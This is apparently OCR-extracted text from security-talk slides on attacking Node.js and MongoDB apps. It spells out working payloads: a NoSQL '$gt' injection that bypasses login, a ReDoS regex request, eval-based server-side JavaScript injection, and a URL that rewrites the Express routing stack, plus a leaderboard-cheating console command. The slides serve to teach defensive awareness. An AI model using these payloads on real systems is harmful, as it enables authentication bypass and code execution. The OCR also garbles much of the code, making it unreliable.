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var mysqgl = require('db-mysql');

var http = require('http');

var out;

var valTom;

var req = http.request(options, function(res) Sp0t The

{ Vulnerability
res.on('data’, function(chunk)

{

valTom = chunk;

new mysgl.Database(

{

hostname: 'localhost’, user: 'user', password: 'password’, database: 'test'

}
).
connect(function(error)

{
var the_Query = "INSERT INTO Customers (
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4 granttimmerman 203 days ago
Here's how to hack the hacking game. Pretty simple (in your conscle):
app.sendAnswer({answer: 1,time: -99999999099997})
(I added the instructicns on the leaderboard itself)

A byerley 203 days ago

Semewhat ironic that the high scores have already been hacked, though a little inevitable since the game is client side I guess.

O
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Client (JavaScript)

How do we validate user
names?

XSS
DOM based

Command Injection (Eval)

IR EACL (AL

Server

How do we enforce valid user
names?

What are valid user names?

DOS

Plain SQLi

JSON based SQLi

Traceless Routing Hijacking
SSJS Injection

Weak Client Side Crypto
ReDOS
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Data is inserted and stored as JSON

/_/R

db.products.insert( { item: "card", gty : 15} )
db.products.insert( { name: “elephant”, size: 1700 } )

db.products.find() - Find all of them
db.products.find( { qty: 15}) - Find based on equality
db.products.find( { qty: { $gt: 25} } ) - Find based on criteria

N~————

Queries as described using JSON

var obj;
obj.qty=15;
db.products.find(obj)
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O

name = req.query.username;
pass = reqg.query.password;
db.users.find({username: name, password: pass});

If .exists
WRONG!

15
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name = req.query.username;
pass = req.query.password;
db.users.find({username: name, password: pass});

O

db.users.find({username: {$gt, “a”},
password : {$gt, “a”}});

16
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db.users.find({username: username, password: password});

O

http:///server/page?user[$gt]=a&pass[$gt]=a

http://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb.html

17
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O

db.users.find({username: username});

O

berypt.compare(candidatePassword, password, cb);

WRONG!

i
:
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db.users.find({username: username});
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http://localhost:49090/?user=admin&pass[Sregex]=*(alalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalala]
alalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalala
lalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalal
alalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalala
lalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalal
alalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalala
lalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalal
alalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalalala
lalalalalalalalala)(d][d[d[d|d|d|d|d|d[d]d[d[d[d|d|d|d|d[d]d]d[d[d|d|d|d|d|d[d[d]d[d|d|d|d|d|d[d][d]d]d[d|d|d|d|d|d]|d]d]d[d][d[d][d[d]d]
d/d|/d/d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d]|d|d[d|d][d|d[d|d]|d|d[d[d][d]d[d[d[d|d[d|d[d|d[d|d[d|d[d|d|d|d[d|d[d]d|d|d|d|d|d[d|d|d[d|d[d]|d]d
ldid[d[d[d[d|d|d|d|d[d[d][d]d[d[d|d|d|d|d|d[d]d]d[d|d|d|d|d|d[d[d]d]d[d[d|d|d|d|d[d]d]d|d[d|d|d|d|d|d[d]d[d|d|d|d|d|d[d[d]d]d]|d]|d]|d]
d/d/d|d|d|d|d|d|d|d|d|d|d|d|d|d|d[d|d]|d[d[d|d|d|d[d|d]|d|d[d[d|d]|d[d[d[d|d[d|d[d|d[d|d[d|d[d|d[d|d[d|d[d|d|d[d|d|d|d[d|d|d[d|d|d]|d]|d
ldld/d[d[d[d|d|d|d|d[d[d[d]d[d[d|d|d|d|d|d[d]d[d[d|d|d[d|d|d[d[d]d[d[d[d|d|d|d|d[d]d]d[d[d|d|d|d|d|d[d]d[d|d|d|d|d|d[d[d][d]d]d]|d]|d]
d/d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d[d[d|d[d|d[d|d]|d|d[d[d|d]|d[d[d[d|d[d|d[d|d[d|d[d|d[d|d[d|d|d|d[d|d|d|d|d|d|d[d|d|d[d[d[d]d]|d
ldid[d[d|d[d|d|d|d|d[d[d]d]d[d[d|d|d|d|d|d]d]d[d[d|d|d|d|d[d[d]d]d[d|d|d|d|d|d|d[d[d[d|d[d|d|d|d[d[d][d[d[d|d|d|d|d[d[d]d[d]d]|d]|d]d]
d/d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d|d[d[d|d][d[d[d|d]|d|d[d[d][d]|d|d[d[d|d[d|d[d|d[d|d[d|d[d|d[d|d[d|d[d|d|d|d|d|d|d[d|d|d[d|d[d]d]|d
ldidld[d[d[d|d|d|d|d[d[d][d]d[d[d|d|d|d|d|d[d]d]d[d|d|d|d|d|d|d[d]d]d[d|d|d|d|d|d[d]d]d|d[d|d|d|d|d|d[d]d[d|d|d|d|d|d[d[d]d]d]|d]|d]|d]
d/d/d[d|d[d[d[d[d[d|d[d|d[d[d[d|d[d[d[d[d[d[d[d[d[d[d][d[d[d[d[d|d[d[d[d|d[d[d[d|d[d[d[d|d[d[d[d[d[d[d[d[d[d[d[d[d[d[d[d[d[d[d[d[d]|d
ldid/d[d[d[d|d|d|d|d[d[d[d]d[d[d|d|d|d|d|d[d]d]d[d[d|d|d|d|d[d[d]d]d[d|d|d|d|d|d[d]d]d[d[d|d|d|d|d|d[d]d[d|d|d|d|d|d[d[d][d]d]|d]|d]|d]
did/d|d|d|d|d|d|d|d[d|d|d|d|d|d|d|d|d|d|d]|d|d|d|d[d]d|d|d|d|d]d|d|d|d|d[d]|d|d|d[d[d]d]|d|d|d|d|d|d|d|d[d]d]|d|d|d[d]d|d|d|d]|d]d]|d]d)S
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var http = require('http");
var server = http.createServer(function(req, res){
switch (reqg.method) {
case 'POST' :
var item = ";
reg.on('data’, function(chunk){
item += chunk;

Vo)

reg.on(‘end’, function(){

res.end('OK\n');
)i

break;
case 'GET' :

by
i
server.listen(3000);
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app.ge nction(req,res) {
var datd3req.query;

return res.render(‘index’,
{messag‘e:\eval(req.query.a +'+' + req.query.b)});

} \
N\

Routi
http://server 3&b=8 LI

11
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Rouingstack [N =T
/Add / Func2()

/Remove

J— 1 Func3()
/ab*d Func4()

http://localhost:49090/add?a=3&b=JSON.stringify(app. router.stack)
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O

rouingsoct [
JAdd » Funcl()
/Remove Func2()
/page/:id Func3()
/ab*d ] Func4()

app._router.stack.splice(3,1); // remove routing entry
app.get(‘'/add’,function(req, res) // add new routing
{
return res.render('index’,
{message: req.query.a * req.query.b}
);
b;
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http://localhost:49090/add?a=3&b=app. router.stack.splice(3,1);app.qget(%27/add%27,%20func
tion(req,%20res)%20%7breturn%20res.render(%27index%27,%20%7bmessaqge:%20req.query.a%
20*%20req.query.b%7d):%7d);

http://localhost:49090/add?a=3&b=8
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